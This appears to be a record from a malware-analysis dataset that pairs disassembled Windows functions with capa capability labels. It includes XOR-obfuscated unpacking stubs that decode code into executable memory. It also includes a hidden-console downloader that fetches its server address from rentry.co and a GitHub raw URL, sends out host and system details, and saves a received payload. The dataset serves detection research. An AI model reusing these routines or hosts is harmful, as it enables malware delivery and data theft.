joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100080c7
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100080c7
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100080c7
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100080c7
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100080c7
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100080c7
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100080c7
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100080c7
push 0xd008
push edi
call fcn.100080c7
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100080c7
int3

Function at 0x100080c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x100080d6
pop dword [ebp - 0x1c]
mov eax, 0x1cedbf4c
add eax, 0xf312c18a
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x3ccba
push 0
mov eax, 0xdf7ef261
add eax, 0x30824e03
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x8fef3897
add ecx, 0x70111e95
mov esi, eax
mov edx, 0xcb37c7aa
add edx, 0x44c9be56
add edx, dword [ebp - 0x1c]
mov ebx, 0x2e0d6d03
add ebx, 0x29dd85e6
xor dword [ebp - 0x10], ecx
mov edi, dword [edx]
mov dword [ebp - 4], 0x5ce9aeb8
xor edi, ebx
xor dword [ebp - 4], 0xc69733fe
mov dword [esi], edi
xor dword [ebp - 0x14], eax
add esi, 0x1625c326
add esi, 0xe9da3cde
add edx, 0x5360b10a
sub edx, 0x5360b106
loop 0x10008135
add eax, 0x14f83
xor ebx, ebx
add ebx, eax
add eax, 0xe6bf8699
add eax, 0x1940796c
mov ecx, 0xc704c497
sub ecx, 0xb704c497
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10007faf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x10007fbe
pop dword [ebp - 8]
mov eax, 0x2dba163b
sub eax, 0x1db9967d
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x1978d3cd
sub dword [ebp - 0x18], 0xcb268e82
mov dword [ebp - 0x14], 0x47f6f73f
add dword [ebp - 0x14], 0xea3c5506
mov dword [ebp - 0x10], 0x14fe0bb9
sub dword [ebp - 0x10], 0xc8b1c78b
mov dword [ebp - 0xc], 0x765e4b04
add dword [ebp - 0xc], 0x89a1b4fc
lea eax, [ebp - 0x18]
push eax
mov eax, 0x39a8f449
add eax, 0xd658cc37
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xae10b9c2
add dword [ebp - 0x18], 0xc661af94
mov dword [ebp - 0x14], 0x474124df
sub dword [ebp - 0x14], 0x5d4c36a
mov dword [ebp - 0x10], 0xfb42277e
add dword [ebp - 0x10], 0x682d44ee
mov dword [ebp - 0xc], 0xbc468ce3
sub dword [ebp - 0xc], 0xbc468ce3
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xf6a82cb2
sub eax, 0xe6a66cb2
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x382cb
push 0
call eax
mov ecx, 0x4ab6
xor esi, esi
add esi, eax
mov edx, 0x6b3312c1
sub edx, 0x5b30aac1
add edx, dword [ebp - 8]
mov ebx, 0xde072216
sub ebx, 0xc29351bc
xor dword [ebp - 4], ecx
mov edi, dword [edx]
sub dword [ebp - 4], eax
add edi, ebx
mov dword [esi], edi
mov dword [ebp - 4], 0x3dfc252a
add esi, 0x4b5192ef
sub esi, 0x4b5192eb
add edx, 0xcca6d31a
sub edx, 0xcca6d316
loop 0x100080dc
add eax, 0x2faa4598
sub eax, 0x2fa927ed
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x10008fc4
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x1000
mov dword [esp + 0x14], ebp
call sub.glib_lite.dll_Ordinal_406
mov esi, dword [esp + 0x1c]
mov edi, eax
mov ebx, dword [esp + 0x20]
pop ecx
mov dword [ebx], ebp
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x11c]
sbb ecx, dword [esi + 0x114]
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, ebp
ja 0x1000901f
jb 0x10009011
cmp eax, 0xffe
ja 0x1000901f
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
jmp 0x10009024
mov eax, 0x1000
test edi, edi
je 0x1000909a
push ebp
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push dword [esi + 0x104]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x10009093
push sub.glib_lite.dll_Ordinal_109
push edi
push dword [esp + 0x18]
push ebp
push 0x1000
push edi
push ebp
call sub.gstreamer_lite.dll_Ordinal_25
add esp, 0x1c
mov dword [ebx], eax
test eax, eax
je 0x10009072
mov ecx, dword [esi + 0x110]
mov dword [eax + 0x40], ecx
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x44], ecx
mov eax, dword [esp + 0x10]
add eax, dword [esi + 0x110]
push 0
pop edx
adc edx, dword [esi + 0x114]
mov dword [esi + 0x110], eax
mov dword [esi + 0x114], edx
jmp 0x1000909e
push edi
call sub.glib_lite.dll_Ordinal_109
pop ecx
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x40110c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45b030]
jne 0x401116
repz ret
jmp fcn.00401d81

Function at 0x409ddd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406a6e
and dword [ebp - 4], 0
cmp dword [0x45d898], 0
mov ebx, eax
jne 0x409e8e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409f3f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409f3f
push eax
call fcn.004069fc
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45d898], eax
call esi
push eax
call fcn.004069fc
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45d89c], eax
call esi
push eax
call fcn.004069fc
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45d8a0], eax
call esi
push eax
call fcn.004069fc
pop ecx
mov dword [0x45d8a8], eax
test eax, eax
je 0x409e8e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004069fc
pop ecx
mov dword [0x45d8a4], eax
mov eax, dword [0x45d8a4]
cmp eax, ebx
je 0x409ee6
cmp dword [0x45d8a8], ebx
je 0x409ee6
push eax
call fcn.00406a77
push dword [0x45d8a8]
mov esi, eax
call fcn.00406a77
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409ee6
test edi, edi
je 0x409ee6
call esi
test eax, eax
je 0x409edd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409edd
test byte [ebp - 0xc], 1
jne 0x409ee6
or dword [ebp + 0x10], 0x200000
jmp 0x409f1f
mov eax, dword [0x45d89c]
cmp eax, ebx
je 0x409f1f
push eax
call fcn.00406a77
pop ecx
test eax, eax
je 0x409f1f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409f1f
mov eax, dword [0x45d8a0]
cmp eax, ebx
je 0x409f1f
push eax
call fcn.00406a77
pop ecx
test eax, eax
je 0x409f1f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45d898]
call fcn.00406a77
pop ecx
test eax, eax
je 0x409f3f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409f41
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cc30
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x45b030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2b1619c]
push ebx
mov ebx, dword [0x2b15fe8]
push esi
mov esi, dword [0x45c050]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40cc71
push str.lefovuweceh
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b1619c]
mov dword [0x45d9f4], esi
cmp eax, 0x114e
jne 0x40cc9b
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
lea eax, [esp + 0x14]
push eax
push str.durinarusunavabaxomoyowev
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2b1619c]
cmp eax, 0x2f
jne 0x40ccbd
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call fcn.0040cba0
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040110c
add esp, 0x428
ret
Function at 0x407a60
Capabilities:
Link many functions at runtime

Disassembly:
push edi
mov edi, ecx
cmp dword [edi + 0x34], 0
jne 0x407b30
push ebx
push esi
push str.mapi32.dll
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push 0xc
mov dword [edi + 0x18], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x407ad0
xorps xmm0, xmm0
movq qword [ebx], xmm0
push str.MAPIFreeBuffer
mov dword [ebx + 8], 0
push dword [edi + 0x18]
call esi
push str.MAPIAllocateBuffer
push dword [edi + 0x18]
mov esi, eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebx + 8], esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebx], vtable.MapiAllocator.0
mov dword [ebx + 4], eax
jmp 0x407ad2
xor ebx, ebx
push str.MAPIInitialize
push dword [edi + 0x18]
mov dword [edi + 0x1c], ebx
call esi
push str.MAPIUninitialize
push dword [edi + 0x18]
mov dword [edi + 0x24], eax
call esi
push str.MAPILogonEx
push dword [edi + 0x18]
mov dword [edi + 0x28], eax
call esi
push str.MAPIAdminProfiles
push dword [edi + 0x18]
mov dword [edi + 0x2c], eax
call esi
mov dword [edi + 0x30], eax
mov eax, dword [edi + 0x24]
pop esi
pop ebx
test eax, eax
je 0x407b30
cmp dword [edi + 0x28], 0
je 0x407b30
cmp dword [edi + 0x2c], 0
je 0x407b30
push 0
call eax
mov dword [edi + 0x14], eax
test eax, eax
js 0x407b30
mov dword [edi + 0x34], 1
pop edi
ret

Function at 0x40b630
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40b63f
pop dword [ebp - 8]
mov eax, 0xaf57e236
sub eax, 0xaf172bf7
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xb80c380f
sub dword [ebp - 0x18], 0x69b9f2c4
mov dword [ebp - 0x14], 0xd45650e
add dword [ebp - 0x14], 0x24ede737
mov dword [ebp - 0x10], 0x442b56ad
add dword [ebp - 0x10], 0x820ed81
mov dword [ebp - 0xc], 0xd9defb2c
sub dword [ebp - 0xc], 0xd9defb2c
lea eax, [ebp - 0x18]
push eax
mov eax, 0x8dd60ab3
add eax, 0x726b25e5
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x1376659f
add dword [ebp - 0x18], 0x60fc03b7
mov dword [ebp - 0x14], 0x70e83393
sub dword [ebp - 0x14], 0x2f7bd21e
mov dword [ebp - 0x10], 0x66102fbf
add dword [ebp - 0x10], 0xfd5f3cad
mov dword [ebp - 0xc], 0x4c05210c
add dword [ebp - 0xc], 0xb3fadef4
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x5456fd1b
add eax, 0xabea331d
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3b50b
push 0
call eax
mov ecx, 0x500c
xor edi, edi
add edi, eax
mov ebx, 0x41a400
add ebx, dword [ebp - 8]
mov edx, 0xba7f16a4
sub edx, 0x1f5d583
add dword [ebp - 4], eax
mov esi, dword [ebx]
xor dword [ebp - 4], edx
add esi, edx
sub dword [ebp - 4], ecx
mov dword [edi], esi
mov dword [ebp - 4], 0x43a24b3d
add edi, 0xa7e69a4b
sub edi, 0xa7e69a47
add ebx, 0xe8f0521a
sub ebx, 0xe8f05216
loop 0x40b757
add eax, 0x3aa1ee09
sub eax, 0x3aa0bb06
mov ebx, eax
add eax, 0xee4ad0c7
sub eax, 0xee4ad0c2
mov ecx, 0xeabb007e
sub ecx, 0xea7b007e
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x1030c9e4]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
call fcn.100065c4
add esp, 4
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
push ecx
push 0
push 0x1030c794
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x100
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0x2eb720
push section..data
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003326
mov esp, ebp
pop ebp
ret

Function at 0x100010c0
Capabilities:
Get hostname
Get system information on windows
Query or enumerate registry value
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x550
mov eax, dword [0x1030c9e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x524], 0x10
lea eax, [ebp - 0x524]
push eax
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x550]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
je 0x1000110b
mov dword [ebp - 0x520], str.x64_bit
jmp 0x10001115
mov dword [ebp - 0x520], str.x32_bit
mov dword [ebp - 0x528], 0x100
lea ecx, [ebp - 0x51c]
push ecx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0
jne 0x10001183
lea edx, [ebp - 0x528]
push edx
lea eax, [ebp - 0x114]
push eax
push 0
push 0
push 0x1030c7d8
mov ecx, dword [ebp - 0x51c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x518], eax
mov edx, dword [ebp - 0x51c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x52c], str.Dll_Load_Wget
mov eax, dword [ebp - 0x52c]
push eax
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x520]
push edx
lea eax, [ebp - 0x14]
push eax
push str._s:_s:_s:_s
lea ecx, [ebp - 0x514]
push ecx
call fcn.10001a20
add esp, 0x18
push 0
lea edx, [ebp - 0x514]
push edx
call fcn.10006500
add esp, 4
push eax
lea eax, [ebp - 0x514]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003326
mov esp, ebp
pop ebp
ret
Function at 0x100011f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7a138
call fcn.10003340
mov eax, dword [0x1030c9e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x7a128], 0
mov dword [ebp - 0x7a12c], 0
push 0x7a120
push 0
lea eax, [ebp - 0x7a124]
push eax
call fcn.100045b0
add esp, 0xc
push 0
push 0x7a120
lea ecx, [ebp - 0x7a124]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recv]
lea eax, [ebp - 0x7a124]
push eax
call fcn.10006a62
add esp, 4
mov dword [ebp - 0x7a134], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x7a134]
mov dword [ecx], edx
mov dword [ebp - 0x7a138], str.send_dll
push 0
mov eax, dword [ebp - 0x7a138]
push eax
call fcn.10006500
add esp, 4
push eax
mov ecx, dword [ebp - 0x7a138]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp - 0x7a134]
add eax, 1
push eax
call fcn.100065c4
add esp, 4
mov dword [ebp - 0x7a130], eax
mov ecx, dword [ebp - 0x7a134]
add ecx, 1
push ecx
push 0
mov edx, dword [ebp - 0x7a130]
push edx
call fcn.100045b0
add esp, 0xc
mov eax, dword [ebp - 0x7a12c]
cmp eax, dword [ebp - 0x7a134]
jge 0x1000139b
push 0
push 0x7a120
lea ecx, [ebp - 0x7a124]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x7a128], eax
cmp dword [ebp - 0x7a128], 0xffffffff
jne 0x10001324
push str.Error_in_receiving_data._n
call fcn.100019e0
add esp, 4
mov eax, dword [ebp - 0x7a130]
push eax
call fcn.100065a9
add esp, 4
xor eax, eax
jmp 0x100013a1
cmp dword [ebp - 0x7a128], 0
jne 0x1000134d
push str.Connection_closed_by_the_server._n
call fcn.100019e0
add esp, 4
mov ecx, dword [ebp - 0x7a130]
push ecx
call fcn.100065a9
add esp, 4
xor eax, eax
jmp 0x100013a1
mov edx, dword [ebp - 0x7a128]
push edx
lea eax, [ebp - 0x7a124]
push eax
mov ecx, dword [ebp - 0x7a130]
add ecx, dword [ebp - 0x7a12c]
push ecx
call fcn.10004030
add esp, 0xc
mov edx, dword [ebp - 0x7a12c]
add edx, dword [ebp - 0x7a128]
mov dword [ebp - 0x7a12c], edx
mov eax, dword [ebp - 0x7a12c]
push eax
push 0x1030c84c
call fcn.100019e0
add esp, 8
jmp 0x100012c9
mov eax, dword [ebp - 0x7a130]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003326
mov esp, ebp
pop ebp
ret
Function at 0x10001410
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c4
mov eax, dword [0x1030c9e4]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1b4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10001450
push str.Error:_WSAStartup_failed_n
call fcn.100019e0
add esp, 4
mov eax, 1
jmp 0x100015c6
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jne 0x10001486
push str.Error:_Failed_to_resolve_host_n
call fcn.100019e0
add esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x100015c6
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 0x1bc]
mov edx, dword [ecx + 0xc]
mov eax, dword [eax + edx]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x10
lea edx, [ebp - 0x14]
push edx
call fcn.100063a0
add esp, 0xc
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0xffffffff
jne 0x100014f7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Error:_Failed_to_create_socket._Error_code:__d_n
call fcn.100019e0
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x100015c6
mov eax, 2
mov word [ebp - 0x24], ax
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp + 0xc]
push edx
call fcn.10006a62
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
push 0x10
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jge 0x10001569
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Error:_Failed_to_connect._Error_code:__d_n
call fcn.100019e0
add esp, 8
mov edx, dword [ebp - 0x1b8]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x100015c6
mov eax, dword [ebp - 0x1b8]
push eax
call fcn.100010c0
add esp, 4
lea ecx, [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x1b8]
push edx
call fcn.100011f0
add esp, 8
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c0]
push eax
mov ecx, dword [ebp - 0x1c4]
push ecx
mov edx, dword [ebp - 0x1b8]
push edx
call fcn.100013b0
add esp, 0xc
mov eax, dword [ebp - 0x1b8]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003326
mov esp, ebp
pop ebp
ret
Function at 0x100016e0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x1030c9e4]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 0x420], eax
push 0
mov eax, dword [ebp - 0x420]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x40c], 0
mov ecx, 1
test ecx, ecx
je 0x100018e8
mov edx, 1
test edx, edx
je 0x10001835
cmp dword [ebp - 0x40c], 5
jge 0x100017a2
call fcn.10001000
mov dword [ebp - 0x410], eax
mov eax, dword [str.https:__rentry.co_zsbkz_raw]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
push str._s__O___q_1___no_check_certificate__s
lea edx, [ebp - 0x404]
push edx
call fcn.10001a20
add esp, 0x10
lea eax, [ebp - 0x404]
push eax
call fcn.100015e0
add esp, 4
mov dword [ebp - 0x408], eax
mov ecx, dword [ebp - 0x410]
push ecx
call fcn.1000753c
add esp, 4
mov edx, dword [ebp - 0x410]
push edx
call fcn.100065a9
add esp, 4
jmp 0x1000180b
call fcn.10001000
mov dword [ebp - 0x414], eax
mov eax, dword [str.https:__raw.githubusercontent.com_DevilBot000_Client_IP_PORT_main_IP_PORT]
push eax
mov ecx, dword [ebp - 0x414]
push ecx
push str._s__O___q_1__s
lea edx, [ebp - 0x404]
push edx
call fcn.10001a20
add esp, 0x10
lea eax, [ebp - 0x404]
push eax
call fcn.100015e0
add esp, 4
mov dword [ebp - 0x408], eax
mov ecx, dword [ebp - 0x414]
push ecx
call fcn.1000753c
add esp, 4
mov edx, dword [ebp - 0x414]
push edx
call fcn.100065a9
add esp, 4
mov dword [ebp - 0x40c], 0
cmp dword [ebp - 0x408], 0
jne 0x1000182e
push str.Failed_to_get_URL_content._n
call fcn.100019e0
add esp, 4
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001830
jmp 0x10001835
jmp 0x1000172b
push 0x1030c984
mov eax, dword [ebp - 0x408]
push eax
call fcn.1000658b
add esp, 8
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x100018ba
push 0x1030c988
push 0
call fcn.1000658b
add esp, 8
mov dword [ebp - 0x41c], eax
mov ecx, dword [ebp - 0x41c]
push ecx
mov edx, dword [ebp - 0x418]
push edx
push str._s_n_s_n
call fcn.100019e0
add esp, 0xc
mov eax, dword [ebp - 0x41c]
push eax
mov ecx, dword [ebp - 0x418]
push ecx
call fcn.10001410
add esp, 8
mov edx, dword [ebp - 0x408]
push edx
call fcn.100065a9
add esp, 4
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100018d4
mov eax, dword [ebp - 0x408]
push eax
call fcn.100065a9
add esp, 4
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x40c]
add ecx, 1
mov dword [ebp - 0x40c], ecx
jmp 0x1000171e
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003326
mov esp, ebp
pop ebp
ret